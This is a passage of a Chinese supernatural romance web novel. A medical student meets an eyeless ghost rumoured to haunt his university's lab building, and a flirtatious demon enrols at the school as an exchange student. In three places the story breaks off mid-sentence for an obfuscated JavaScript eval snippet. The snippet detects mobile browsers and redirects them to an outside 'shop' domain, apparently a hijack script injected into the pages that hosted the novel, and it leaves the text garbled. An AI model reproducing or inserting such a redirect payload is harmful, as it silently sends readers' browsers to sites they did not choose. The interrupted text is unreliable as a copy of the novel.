楼主:最恐怖的是这个女人没有眼球,瘦得脱相像一具白骨,像盲人摸象一样摸我。卧槽我一回想她的样子就头皮发麻,特别克苏鲁。 楼主:我当时真的要吓尿了,尖叫了一声,然后她就消失了。。。 6楼:有点恐怖。。。但真的不是被楼主培养死的细胞组织来找楼主报仇了吗哈哈哈!(试图活跃气氛) 楼主:我是搞机械的,难道是我做的总是撞墙的机器小车挣扎着长出了血肉? 8楼:其实我觉得最恐怖的是,她自己失去了眼球……那她摸你的眼睛做什么? 9楼:楼上的我get到你了,她是不是想找一副适合自己的眼球。 楼主:卧槽。。。鸡皮疙瘩起来了。。。 楼主:谢谢女施主看不上我的眼睛!! “妈呀,你们听说实验楼那事儿了吗?”文曲问。 陶冬米只模糊听到“实验楼”三个字,摘下耳机问:“什么?” “噢!我在论坛看到了。陶神你没听说吗?我给你概括一下吼。” 刚和女友打完电话的室友三号梁子直绘声绘色地给陶冬米描述了论坛楼主的经历,最后一句话总结:“总而言之,就是实验楼底下徘徊着一个「无眼女鬼」,会随机挑选幸运学生挖去他们的双眼。” 陶冬米脸色惨白:“……” 刚进门的孔武随手呼了梁子直一个脑袋瓜子:“瞎跟冬米讲什么呢,你不知道他经常去实验楼给学长帮忙吗?净吓唬他。” 陶冬米赶紧摆手:“没事,我现在不帮他了,要准备期末。” 文曲像只高兴的长颈鹿凑过来:“真的啊?那挺好。他之前让你帮那么多忙,又不给你挂名,不厚道。” 陶冬米声音低下去:“以前没意识到。” 孔武:“总之你别怕,每次期末月总有很多灵异相关的帖子,大家精神状况都堪忧,不会有鬼的。” 文曲表达赞同:“比起鬼,我觉得还是压榨后辈免费劳动力的学长更可怕。” 陶冬米笑了两声。 “陶神你别怕,你如果还要去实验楼,找几个人陪你一起去就行了,叫我们都行。”梁子直神秘地问,“你知道为什么几个人一起去就没事吗?” 陶冬米愣愣的:“为什么?” 梁子直迫不及待揭晓答案:“因为鬼只有一双手,她只能捂住一个人的眼睛,所以只会挑落单的人做目标。怎么样,是不是很有道理?” 文曲:“……好冷。” 孔武:“好吧,其实很有逻辑。” 陶冬米:“那她不会来挖我的眼球的,因为我摘了眼镜跟瞎子没太大区别。” 室友们大笑。 “小米,我发现你最近变幽默了不少。”文曲狂笑着拍陶冬米的肩膀,“是在看脱口秀吗?” 陶冬米笑:“差不多吧。” 脱口秀加杂技表演好几天没开场,烦人精去哪了?估计回家了吧。 竟然清静得让人有点不习惯。 陶冬米托腮望着书桌前的关公像发呆。 仿佛已经看到一个虚影从桌面蹦出来,扇着翅膀扑到陶冬米脸上,一边索吻一边大喊:好几天没有见到老公了,老婆有没有想我?快快来让老公香一个么么么! 陶冬米眨眨眼,眼前只有正义凛然的关公像,并没有出现虚影的迹象。 噢,难道孟翟思真的提着水果去拜访关二爷,然后被他留在那儿搓麻将搓得不知天地为何物了? 陶冬米不由被自己奇特的脑洞给逗笑了。 “嗡——”疯狂的震动声。 陶冬米一瞬间以为是孟翟思故意捣的鬼,低头看到手机来电人是“欣欣姐”,急忙接了起来。 电话还没听完,陶冬米已经围上围巾戴好帽子全副武装,一手提起急救箱一手拧开宿舍门:“等我五分钟,马上到!” 陶冬米赶到救助小屋,那里已经围了几个救助站的小伙伴,姚欣欣还是一句废话没有,拧着眉说:“这次受伤的是小狗,和上次囧囧受的伤一样重,太残忍了。冬米,麻烦你先简单包扎一下,我已经叫好车了。” 一只血迹斑斑的黄毛小狗倒在草丛里,陶冬米手脚麻利地帮它简单清创、固定,眉头越拧越紧。 “它受的伤几乎和囧囧一样。”陶冬米断然道,“肯定是同一个凶手!” 姚欣欣语气愤怒:“上次调监控没查到线索,希望这次能抓到坏人。” “喵。”一只黑白丑猫蹭了蹭陶冬米的腿,似乎在焦急地寻求安慰。 “囧囧!你怎么来了?我先帮小狗,回头再来看你。”陶冬米双手都在忙,只能先用胳膊肘潦草地蹭蹭猫头。 “话说还是囧囧先发现受伤的小狗的。”另一个同学说,“我刚好路过,囧囧过来一直朝我叫。你们知道的,囧囧从来不靠近除了陶冬米以外的人,所以很反常,我跟过来一看,果然出了大事。” 包扎好,车也到了,众人小心翼翼地将伤痕累累的小狗运上车,囧囧在陶冬米脚边绕来绕去,最后嗖的一下跳到了陶冬米肩上,看上去很想跟着去宠物医院。 于是陶冬米顺手拿了个猫包,把囧囧塞进去,火速出发。 熟悉的动物医院,熟悉的手术时长,只是这次在外面焦急等候的人更多,外加一只猫。 去查监控的同学发回消息,说很遗憾,还是没有任何线索。 “连环作案,手法极其恶劣凶残,还会狡猾地避开所有摄像头,实在恶劣至极。”同学们愤愤不平。 囧囧扒拉着猫包:“喵喵喵。” 陶冬米叹了口气,把它抱进怀里安抚:“囧囧,要是你会讲话就好了。告诉我们是谁在伤害你们。” 囧囧喵得柔软了很多,粉鼻头失落地埋进陶冬米臂弯,疲倦地不动了。 小狗的手术持续了更久,好在很成功。 不知道是不是伤到了脑子,小狗有点呆呆的,在香喷喷的狗粮旁嗅半天才下嘴。陶冬米给它喂冻干,小狗一个劲儿地舔陶冬米的手,笨笨的找不到吃的在哪。 本着贱名好养活的原则,大家给小狗取名叫呆呆,因为它确实很呆呆。 - “叮叮叮——!!!” 魔息探测仪催命地大叫, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16926058|191940||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 指示针在最高数值区域疯狂摆动,几乎要飞出仪器之外。 值班的小鬼猛地蹦起来,激动报告:“报——检测到异常魔息了!快快快禀报阎王大人!” 锈栅街结界,(暂时)一片安宁。 薇拉盘腿坐在墓碑上吃奶皮子糖葫芦,她舔一口黑猫舔一口,喜滋滋地说:“再帮我买两串大葡萄的。” 帮忙跑腿的小鬼累得头冒青烟,舌头耷拉得老长:“我的小姑奶奶,您能一次性说完吗?您知道我排一次队要多久吗?” “那怎么办,我又出不去。如果出的去,我就自己排队了。”薇拉耸耸肩,朝他甜甜一笑,“要不你去帮我和阎王大人说说情,让他放我出去透透气。” “都市王——驾——到——” 仪仗队挥开阴云,结界自动消散,多日不见的阳光终于重新洒向这片墓地。 骷髅绅士恭敬地站了起来,僵尸仍然沉浸在第五遍《甄嬛传》中,狼人一个翻身跳起来,激动跑圈,“我终于能回家了吗!” 阿斯蒙蒂斯舒服地歪在躺椅上,仿佛没看到阎王来了,自顾自展开巨大的双翅,晒翅膀。 穆照龄温声道:“魔息检测仪报警了,大致范围在城西,如果魔王大人能率领部下前去调查,尽早将祸乱人间的魔族捉拿归案,我等将感激不尽。” 阿斯蒙蒂斯优雅移开墨镜,缓慢睁开惺忪睡眼,金色眸子里闪着懵逼的光,困倦地吐出两个字:“什么?” 穆照龄毫不意外,端庄耐心地微笑,再次复述了一遍。 魔王又问:“你最后一句说的是什么?” “我等感激不尽。”穆照龄笑着重复,“待魔族平息,大人尽管开口,只要我们有,必将滴水之恩,涌泉相报。” “行!”魔王一挥翅膀,轻盈地飞到半空,在阎王面前悬浮,毫不客气地说:“阎王老头,为了保证在人间调查的效果,我们需要能够使用实体。” 阎王沉吟片刻:“可以,但是你们必须保证不在任何人类面前现出原型,不可以做出任何超自然的行为。如有战斗需要,必须展开结界,不能将任何普通人卷入战场。” 魔王严肃保证:“当然,我们可是专业团队。办事谨慎,雇主安心。” “照龄。”阎王低唤。 穆照龄微微欠身,来到魔王身旁,“魔王大人,我将全程陪同你们,尽可能提供一切帮助。” 魔王眯眼。读作帮忙,写作监视。 “别拖后腿就行。”魔王倨傲道,“我还需要一个人间身份。” 穆照龄:“当然。什么身份方便您行动?” 魔王微微一笑:“学生。” 穆照龄的笑容有些僵硬:“真的方便吗。” 魔王单手一翻,手心出现一个幻彩半球,中间某点爆发出了极强的红光,代表魔息的红色正在缓缓散去。 “那个仪器太差劲了,定位不精准,还得本王出手。” 阿斯蒙蒂斯一挥手,幻彩半球猛的扩大,直到变成一整张立体城市地图,3D悬浮在众人面前。 “这里,是魔息产生的精确位置。”阿斯蒙蒂斯指着一个地方。 众人一看,清园大学。 穆照龄微微色变:“在学校……” 阎王声音威严:“阿斯蒙蒂斯,你要学生身份,可以。但是必须低调行事!越低调越好。学校里学生众多,无声无息成为其中的一员应该很简单。” 魔王低眉顺眼地乖巧发誓:“阎王大人,我保证一定低调。” 12.十二声脚步 “蔡哥,小白兔在那边。”高丛努努嘴,压低声音问,“他真的没再去你的项目了?” 蔡宇杰淡淡看了一眼远处独自学习的陶冬米:“嗯。” “事情做到一半就跑了,太不把蔡哥放在眼里了。”庞海毫不掩饰语气中的轻蔑。 蔡宇杰不辨情绪地笑笑:“他要准备期末,我理解。” “有时间来图书馆看闲书,没时间帮学长做项目。”高丛冷哼,“蔡哥叫他帮忙已经是抬举他了,小屁孩这么没有自知之明,真把自己当根葱了,欠教训。” 庞海堆满肥肉的脸展开一个笑:“既然小白兔借口说要准备期末,我们就让他没心思准备期末,怎么样?” “一直听说小白兔哭起来很可爱,我这次倒要亲眼见见。”高丛露出迫不及待的表情。 几个男生期待地看向蔡宇杰,蔡宇杰淡道:“别玩得太过分。” 高丛:“放心吧哥,就吓唬吓唬他,让他哭一哭还是没问题的。” “怎么吓他比较好玩?”另一个男生兴奋地问。 庞海:“这还不简单。你们有没有听说,最近实验楼下「挖眼女鬼」的事?” 高丛缩了缩肩膀:“哦,那个啊。” 庞海嗤笑:“哈哈哈哈,你连这都怕?” “你哪只眼睛看出我怕了!”高丛冷哼,“一看就是快期末了闲得蛋疼在那儿瞎编的,骗妹子回复呢。” 庞海:“那你去扮「挖眼女鬼」。” 高丛皱眉:“你什么意思啊?” “你急什么,听我说。”庞海压低两边兄弟的肩膀,“找个夜晚去实验楼……” 他们低声商量了一会儿,高丛请示蔡宇杰:“蔡哥,我们需要你帮个小忙。” 蔡宇杰听完,无所谓地说“行,我随便找个人”。 - 陶冬米这两天忙着照顾呆呆,学校和宠物医院两头跑,很忙。 呆呆住了几天院,身体恢复得不错,陶冬米把它接回了学校,和几乎完全恢复了的囧囧养在小木屋里,好心的同学们会定点定时给它们投喂粮食和罐头,陶冬米负责按时给它们喂药和检测身体状况。 连着两只小动物受到不明凶手的虐待,小动物治疗和住院的费用很高,救助站的资金快速告罄。 陶冬米知道学姐和救助站的大家忙着查找凶手和四处筹措资金,不想再让他们担心,所以陶冬米节衣缩食,不声不响地垫付了一些钱。 看着小黄狗埋头吃得很香,陶冬米蹲在小狗旁边笑了,觉得自己偶尔饿饿肚子也没什么。 重点关照好两位小病号,陶冬米拎起书包飞奔去图书馆,《生理学》也急需他的关照。 完成今天份的学习任务已经是夜晚十一点,室友们都已经回了寝室,梁子直说他给全寝室带了奶茶,在群里喊陶冬米快点回来喝,不然就要被文武哼哈二将给抢光了。 陶冬米笑着回复他们,突然跳出另一条消息,来自蔡宇杰实验组里的另一个学长。 周学长:小陶,你现在有空来一下实验室吗?你有些东西落在这儿了。 陶冬米退出项目得匆忙,确实没有回去收拾过东西,但现在时间太晚了,他便回复“谢谢学长,我可以明天再来拿吗?” 周学长:因为你突然退出,所以我们紧急招了一个新同学,他明天就要坐你的位置,你现在不来拿的话,我就把东西扔垃圾桶了。 陶冬米:请问我落在那的是什么东西? 周学长:[图片] 是两本陶冬米手写的校园流浪动物病历。 冬米医生会给每一只记录在案的小流浪做身体检查,并且图文并茂地记录它们的情况,已经写了三四本。之前因为常从实验室直接跑去附近的木屋照顾小动物,所以陶冬米放了两本在实验室方便自己随用随取。 陶冬米赶紧说:我要的!学长别扔。 周学长:那你快来吧。 陶冬米迅速围好围巾,推门挤出图书馆,呵着白气打字道:我马上到^^ 其实陶冬米在实验室没有固定的座位,他将属于自己的一小块桌面打理得井井有条。 两本薄薄的笔记本占不了什么位置,估计周学长也是恼怒陶冬米突然撒手不干,所以对他态度比较严厉,陶冬米理解,也觉得有些愧疚。 十二月的夜里天寒地冻,冷风像刀子一样刮。 陶冬米冒着刀子冲进实验楼,按电梯,等待电梯从楼上下来。 这个点儿,实验楼里一个人影也没有,十分冷清,一楼的走廊灯还没修好,昏暗惨淡,照着两边贴满辐射警告的厚重铁门,紧急出口的牌子亮着莹绿的光。 陶冬米忽然打了个寒战。 他不由自主地想到最近关于实验楼的那个诡异传闻,大概也是因为这个,同学们都走得很早。 “叮”,电梯到了,陶冬米快步走进去,按下数字5,看着层数一个个跳跃,终于到了实验室的楼层。 陶冬米穿过长长的走廊,推开实验室的门,喊了声:“周学长,我来了。” 实验室里空无一人,只有仪器嗡嗡运作的细响。 陶冬米无声地抓紧了书包带子,来到桌边,看到自己的两本动物笔记被摊开了。 摊开的纸页上,有一双好似红颜料潦草画成的眼睛,血红的两枚圆眼珠空洞地盯着自己。 陶冬米脸上血色褪尽,除了一身毛汗,飞快地将笔记合拢,扔进书包里,拔腿就往外跑。 这是成为「挖眼女鬼」的目标了?无论如何陶冬米也不会抛弃这两本笔记,就算他被挖了眼睛,也要把笔记传给救助站的其他同学们。 陶冬米跑回电梯,不知为什么电梯又降到了1楼,难道实验楼里还有人?或者……不是人? 陶冬米连着按了好几次“下”键,祈求电梯快一点升上来。 每次夜晚一个人从实验室离开,陶冬米心里都有些发怵,但从没像今天这样害怕过。 因为前阵子的经历,陶冬米认识到,这个世界上真的有鬼。 清园大学历史悠久,这栋实验楼的历史可以追溯到民国,后来几经翻新修缮,到现在设施和装修都有些老旧了。 或许这里真的有百年前的冤魂。 电梯三面都是镜子,陶冬米低头看手机,不敢抬头。 “叮”电梯停了,停在4楼。 电梯门缓缓开启,门外空无一人,只有充满药水味的暗绿色实验室长廊,深处黑漆漆的看不到尽头。 电梯门保持开启的状态近十秒钟,才缓缓关闭,没有任何人出现。 陶冬米头皮发麻。 电梯咯吱咯吱地下行到三楼,又“叮”的停了。 老旧的电梯门开启时发出细长的摩擦声,回荡在空寂的走道里,电梯外仍然空无一人。 陶冬米紧贴着电梯侧边,用力地按关门键,因指尖出汗,按滑了一次。 果不其然,到二楼的时候,电梯再次开门。 一定是被鬼盯上了。 陶冬米走投无路,双手合十喃喃:“大仙,不知您是何方神圣,您可能不知道,我是高度近视,挖我的眼球也不好用。” 没鬼回答他。 电梯终于慢腾腾下降到一楼,刚开门,陶冬米便冲了出去。 不知是不是错觉,一楼的灯光好像比刚来的时候更昏暗了。 陶冬米跑了几步,所有灯猝然熄灭,眼前彻底漆黑一片。 【我发现眼前黑得出奇,连走廊轮廓都没有,什么都看不到,我才发现不对……】 陶冬米觉得有什么冰凉的东西在摸他的脸,若有似无的阻力扫在眼镜上。 【原来一楼的灯没有熄,而是我的眼睛被人蒙住了。一个中年女人在摸我的眼睛,摸完眼睛往下摸我的脸。。。】 陶冬米完全僵在原地,大脑一片空白之中,突然蹦出一个荒谬的身影。 锈栅街的早上,某个长发鸟人变出影子,急切地问陶冬米,亲爱的,不认识老公了吗? 鬼怪很可怕,但它们可能并不是想伤害你,或许只是智力有问题。 想到这里,陶冬米忽然生出一股无端的勇气,不顾脸上怪异的触感,闭着眼向前冲,嘴里飞快念叨着:“大仙手下留情,我是医学生,我可以先帮忙看看你的眼睛!” 走道的灯重新亮了起来,昏暗的一闪一闪。 陶冬米听到身后传来细微的响声,不知是脚步还是呼吸声,压根不敢回头,一鼓作气冲出了实验楼。 从实验楼到宿舍有一条丛林小径,陶冬米只想尽快回宿舍,慌不择路地跑进小道,很快就后悔了。 深夜的树林小道比实验楼更阴森,打开手电筒也照不亮多少区域,层层叠叠的黑暗中似乎会随时冒出现一截枯骨,或者一张恐怖的脸。 咔嚓,咔嚓。 身后响起脚步踩在枯叶上的响声。 陶冬米心跳剧烈,闷头往前冲,但那脚步声越来越逼近。 侧前方的树丛里闪过一张模糊白色的脸,五官凹陷,皱纹苍老,陶冬米扫到一眼,几乎忍不住惊声低叫。 就在这时,另一个方向的岔路口突然亮起彗星撞地球一般刺眼的白光,几个人影走过来。 活人! 陶冬米激动不已,毫不犹豫地调转方向,朝亮光处跑去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16933404|191940||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 他惊讶地发现,亮光处也有人正大步向他走过来。 “Mr.Meng,请不要往那边走!那是一片小树林,夜晚黑漆漆的不好看!”教务负责人无奈地高声喊道。 陶冬米还没反应过来是哪个Meng,眼睛比他先一步接受了暴击。 光亮中走来的男人足有一米九几,长腿,宽肩,劲腰,身材比例夸张到逆天,长卷发高高束起,仅从剪影就能看出这人深邃优越的英俊五官。 他就像好莱坞红毯上的顶流男明星,秀场上魅力万千的顶级男模,展会上鬃毛顺滑的汗血宝马之冠,求偶季节里开屏开得最绚烂的孔雀之王。 教务主任和导员手中的强光手电成为他的聚光灯,树林间粗糙的鹅卵石路是他的红毯,明月星河都沦为他的背景板,而陶冬米,不幸成为他唯一的观众。 所有灯光720度无死角照亮他。 零下五度的冬夜,陶冬米裹着厚围巾羽绒服,这个男人竟然只穿着一件紧身黑色背心,大剌剌地裸露着雄壮的肌群,黑色工装裤裹着修长有力的长腿,手里漫不经心地捏着一副顶奢墨镜。 好像这里不是庄严的高校校园,而是狂野的美洲西部,或者纸醉金迷的大厦顶楼,他一动手指头就能将这里炸得灰飞烟灭。 而这个疯狂的神经病,顶着一张已经消失了好几天的、陶冬米宁愿永远再也不会看见的脸。 孟,翟,思。 “噢我的上帝,亲爱的,好久不见!”孟翟思好似刚看到陶冬米,惊喜之情溢于言表,如脱缰野狗一般甩着马尾辫欢快地向陶冬米奔来。 陶冬米想立刻转身就跑,但他后有挖眼女鬼,前有疯癫恶魔,实在进退两难。 一眨眼,孟翟思已经在众目睽睽之下将陶冬米紧紧抱进了怀里,像抱住什么失而复得的宝物。 “哎哟,您慢点儿!” 几个学生和中年的教务主任气喘吁吁地跟上来,看到被孟翟思紧紧搂住、满脸空白的陶冬米,惊讶地问:“孟先生,您认识我们这儿的学生?” “哦是的。”孟翟思深情地说,“这是一段感人肺腑的幸福经历,我迫不及待想和你们所有人分享……” “等等!” 在孟翟思在众人面前说出任何无法挽回的句子之前,陶冬米厉声喊停,皮笑肉不笑地反问道,“能不能先告诉我,你为什么会出现在我们学校?” “哦天呐。”孟翟思受伤地捂住心口,“我当然是来上学的,亲爱的冬米,你连这都忘了吗?” “……” 陶冬米满脸疑惑地望向快要崩溃的教务主任。 “咳。”年轻的导员开口介绍道,“这是本学期来我们学校交流的国际生,孟翟思。” 陶冬米:“这个学期已经快要结束了,为什么现在还能入学?” 导员露出高深的表情:“因为孟翟思先生是未公开的欧洲皇室成员,在入学时间和签证安排上比较特殊。” “虽然孟先生只有17岁,但我们不愿拒绝欧洲皇室的强烈要求,也被孟先生巨大的求学热情和对中华文化的热爱所打动,因此破格录取孟先生成为天文学系的大一交换生。” 陶冬米:“…………” 孟翟思骄傲地挺胸抬头,朝陶冬米充满魅力地wink了一下。 导员好奇的眼神两人之间打转:“所以同学,你认识孟先生?” 陶冬米后退半步:“我不……” “他认识我!”孟翟思热情地将陶冬米揽回来,声情并茂地讲述道,“还记得我来北京第一天,人生地不熟,语言也不通,是冬米好心地问我需要什么帮助,还说喜欢我,让我觉得好温暖。冬米永远是我最重要的人。” 导员:“哇,真是美好的中西友谊呀。” 陶冬米想晕厥。 导员:“孟先生,那我继续带你夜游校园吧?” 陶冬米迫不及待:“我先回寝室了!” “不必了。”孟翟思食指一勾,轻而易举将想溜走的陶冬米重新扣进怀里,灿烂笑道,“我和冬米学长叙叙旧。” 陶冬米闭眼。 导员:“那……” “以后也不用麻烦你们了,生活起居方面的事我会多请教冬米学长的,我想他也很乐意照顾我这个远道而来、久别重逢的外国友人。”孟翟思笑眯眯地说。 教务主任回光返照,充满期待地看向陶冬米:“小陶同学,你觉得呢?” 在无数期待的目光中,陶冬米艰涩发音:“好……吧……” 孟翟思充满礼貌:“谢谢学长!” 陶冬米宁愿自己被女鬼扣掉眼珠子。 13.十三只鬼魂 看到陶冬米愿意接手孟翟思这颗烫手的山芋之后,教务主任和导员都露出了如释重负的微妙表情,显然他们都被这位尊贵又神经的欧洲皇室关系户折磨得不轻。 事关外交颜面,上头下了命令要他们伺候好这位贵族公子,谁料这尊大佛刚到学校,就非要在午夜十一点夜游校园,还说什么“我自己随便逛逛就行,不麻烦你们”。 教务主任一听这哪得了,急头白脸地把几个老师学生从被窝里薅起来给这位小爷当导游,心里把洋人权贵骂了八百遍。 但主任脸上还是挂着笑,周到地问孟翟思:“时间不早了,孟先生,我们送你回宿舍吧?” 孟翟思突然变得情商很高,赔笑道:“不用了,我和冬米聊聊天,我自己会回去。时间这么晚,麻烦各位老师同学们招待我了,你们先回去休息吧。” “哎那怎么行!”主任连连摆手,“我们一定要把你平安送到宿舍,不然不放心呐。” “您说笑了,华夏的校园安全系数可是全球最高的,我在学校里能出什么事?”孟翟思不经意弯起胳膊做了个“强壮”的动作,健壮隆起的肱二头肌闪瞎人眼,笑着补充道,“而且冬米学长也陪着我,学长会好好把我送回宿舍的。” 陶冬米:“……” 主任慈眉善目地看向陶冬米,目光深处满是期待。 陶冬米冷着脸:“我会的。” 主任十分赏识陶冬米的革命觉悟,欣慰地按了按陶冬米的肩,“小陶同学,那我就把小孟交到你手里了。他住金桂苑302,小孟刚到学校可能还不认识路,好好送他回宿舍,啊。” 陶冬米心如死灰:“嗯。” 孟翟思迫不及待地挥手:“老师同学们拜拜!” “那我们就不打扰你们了,有什么问题随时找我们。” 主任的表情分明是“有天大的问题也别找我了”,维持着假笑,领着几个学生忙不迭地消失了。 四周陷入寂静黑沉,陶冬米面无表情地问:“千年魔王怎么下凡来我们学校当学生了?” “当然是因为我想老婆了啊!”孟翟思泪汪汪地腻过来,撅高嘴巴,迅猛地啄向陶冬米,陶冬米早有预料,淡定灵活地躲开。 孟翟思一脸惊讶,突然又啄一口,再次被陶冬米躲了过去。 孟翟思大为震撼:“老婆你居然躲我分别这么久你不想老公吗我明明看到你心里就是有一点点想我的!” 陶冬米冷淡地说:“你自己回宿舍吧,我知道你认得路。” “你累了?”孟翟思敏锐地问,“对了,你怎么这么晚还在小树林里?” 陶冬米一回想起来就背后发毛,像拨开冬天的挡风门帘一样拨开孟翟思,“我回去了。” “等等。”孟翟思拉住陶冬米,定定看着他,严肃地问,“你碰到鬼了?” 陶冬米面无表情地看着孟翟思拉着他的手:“确实碰到鬼了。” 孟翟思罕见地没有继续和他开玩笑:“无眼女鬼?” 陶冬米:“你又读我的心。” “哎呀这也不是我能控制的嘛。”孟翟思继续问,“你看到她长什么样子没有?身上有没有什么标记?” 陶冬米不语,孟翟思有些遗憾地说,“没有啊。” “没有也挺好的。”孟翟思很快道,将陶冬米抱回来怜惜地搂进怀里,“宝宝肯定被吓到了,这鬼真坏。” 陶冬米生无可恋:“我宁愿被她吓死。” “奇怪,但我在附近感受不到任何魔息波动……”孟翟思喃喃自语。 陶冬米疑惑地看他一眼。 “你知道我为什么来你们学校吗。”孟翟思知道陶冬米不在乎,自问自答道,“我们在贵校范围内探测到了强烈的魔息波动,阎王老头派我来除魔,并且维护校园安全。上面很重视这个案子。” 魔王的语气很认真,陶冬米愣了愣:“那个无眼女鬼?她有多强,你看得出来吗?” 大概是这段时间见识了太多有违唯物主义的事情,陶冬米只花零秒就接受了学校里有未知魔鬼这件事,并且迅速和最近的校园灵异事件联系到了一起。 “不清楚,我现在只在你的记忆里间接感受到了你的恐惧,并不能直接探知到她。这有两种原因,一是她太弱了,二是她非常强,强到可以在我面前隐藏她的魔息。” 陶冬米皱眉:“我们学校怎么会出现魔鬼?我在校园论坛上看到有三个同学说自己碰上过女鬼,他们会不会有事?” 孟翟思:“什么论坛?” 事关校园安全,陶冬米帮孟翟思注册了论坛,给他分享那个帖子,现在已经盖的很高了。 “收到。”孟翟思利落地将手机塞进裤兜,牵住陶冬米的手,“我之后仔细研究,很晚了,我先送你回宿舍休息。” 陶冬米狐疑地看着孟翟思。 孟翟思笑问:“怎么了?” “没什么。”陶冬米不着痕迹地避开孟翟思的手,“就是感觉你突然通人性了。” “天呐老婆,你这是什么话!”孟翟思大呼小叫地追上去,强行将陶冬米划入自己的手臂范围,陶冬米几次挣不开,路上漆黑无人,便只好作罢。 来到陶冬米宿舍楼下,孟翟思相当自然地想和陶冬米一起走进去,陶冬米冷漠地扯住他:“欧洲贵族孟翟思先生,你住在尊贵的留学生宿舍,和我不在一栋楼。” “我知道。但作为你的丈夫,我必须上去拜访一下你的室友们,不然不符合礼数。”孟翟思笑容优雅,昂首挺胸地往里进。 陶冬米用力将他拉到旁边的树林里,严词拒绝:“不行!” 就在两人在阴影里拉拉扯扯的时候,一对情侣来到宿舍楼下,两人很自然地接了个吻,低声诉说甜蜜悄悄话,男生一步三回头地走进宿舍,女孩子挥手和他拜拜。 出于东方人的内敛,陶冬米沉默地别过脸,孟翟思毫无边界感地围观,看得津津有味。 待这对情侣完全消失,陶冬米才迈步往外走,板着脸对孟翟思说:“你追 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16948097|191940||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 查你的鬼,别总来惹我……啊!” 孟翟思突然一把将陶冬米抱回小树林,抵在浓密的树影下,用力吻住他。 “嗯……唔唔......” 白发男生被体格高大的恶魔完全揉进怀里,只能发出细细咪咪的挣扎。 深吻半晌,终于放开他,陶冬米的嘴唇和眼尾都被蹂躏得通红,急促地喘息。 “这么久不见,老婆居然一下都不给我亲,刚刚拒绝我那么多次,好狠的心。”孟翟思发狠地又嘬了一口陶冬米的嘴唇,结果一嘬就停不下来,吃糖似的咬着陶冬米的唇瓣用力吸吮,潮湿的啧吻声令人面红耳赤。 “老婆,我好想你。”孟翟思微微松开陶冬米的唇,还是抱得很紧,声音低哑,听起来好像真的很想念似的。 陶冬米差点站不稳,头晕眼花地推开孟翟思,低声训斥:“这里是学校!” 孟翟思没皮没脸地贴上来,疑惑地问陶冬米:“你们学校禁止学生接吻?” “……没这种规定。” “那为什么不能亲?”孟翟思还是很困惑,“之前我是恶魔形态的时候在你宿舍亲你,你也没抗拒啊。” 陶冬米无语:“我难道要让室友看着我抗拒一团空气吗?” 说白了,之前只有陶冬米能看见孟翟思,他的行为对陶冬米没有实际影响,忽视他就行了。但孟翟思现在也是这所学校的学生,这是真正入侵了陶冬米的生活。 陶冬米仿佛在耐心地和小朋友讲道理:“现在你是交换生,我们在学校里只是同学。” “好吧。”孟翟思问,“那可以牵手吗?” 陶冬米斩钉截铁:“不行。” 孟翟思哭诉:“可我们是正正经经走完程序签好婚契发过誓约的合法夫妻!” “合的哪门子法?”陶冬米简直一个头两个大。 孟翟思恍然大悟:“噢!在你们这里,咱们要先出柜。” 陶冬米差点背过气去:“被魅魔骗着签了契约,这是出柜的问题吗?” 孟翟思万般不情愿地妥协:“好吧,那你说我在学校要怎么做?” 陶冬米逐一竖起手指,约法三章:“一,不许亲我,二,不许抱我,三,不许喊我除了名字和同学以外的称呼。” “好吧……”孟翟思艰难地咬牙,勉为其难地同意了陶冬米颁发的丧权辱魔条例。 孟翟思一字一顿地说:“陶冬米同学,我会好好保护你,不会再让你受到任何惊吓。” 陶冬米的表情有点难以言喻。突然这么正经是怎么回事?这不是他想要的效果。 “晚安,陶冬米同学。”孟翟思严肃地看着陶冬米,轻声说,“我爱你。” 陶冬米表情空白:“…………” “哈哈哈哈哈!”孟翟思留下一串笑声,凭空消失,扬长而去。 可恶,又被恶魔耍了! 陶冬米羞恼地摸了摸灼热感仍然强烈的嘴唇,嘴也被这家伙亲肿了,得用围巾遮着才能回去。 14.十四颗虾饺 【阿飘】无眼女鬼缠上我了,有没有懂这方面的大师,急。 楼主:如题,这东西对我的正常生活造成了严重影响,谁能让她立刻消失,必有重谢。 1楼:楼主先冷静,你遇到什么了? 楼主:前几天在实验楼底下撞到过她,然后就被她缠上了。具体表现为总有一双没有眼球的眼睛在看我,我很确定这不是错觉。 3楼:之前看到好几个同学都说自己在实验楼下碰到女鬼了,但都只遇到了一次。楼主好像是第一个被鬼缠上的,抱抱楼主,快点请个大师看一看吧…… 4楼:但说实话我觉得楼主更应该找心理医生看看,这种症状我之前也有过。 5楼:我认识一个神婆朋友,她中晓周易,西通塔罗,驱邪避凶方面都颇为精通,楼主要不要留个联系方式?我把你推给她。 